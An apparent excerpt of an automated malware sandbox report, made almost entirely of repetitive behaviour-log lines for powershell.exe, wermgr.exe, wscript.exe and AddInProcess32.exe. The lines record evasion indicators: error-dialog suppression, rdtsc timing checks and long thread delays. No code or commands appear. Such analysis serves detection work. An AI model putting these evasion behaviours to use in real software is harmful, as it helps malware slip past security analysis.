Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_0191D1C0 rdtsc

5_2_0191D1C0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5845	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4021	Jump to behavior
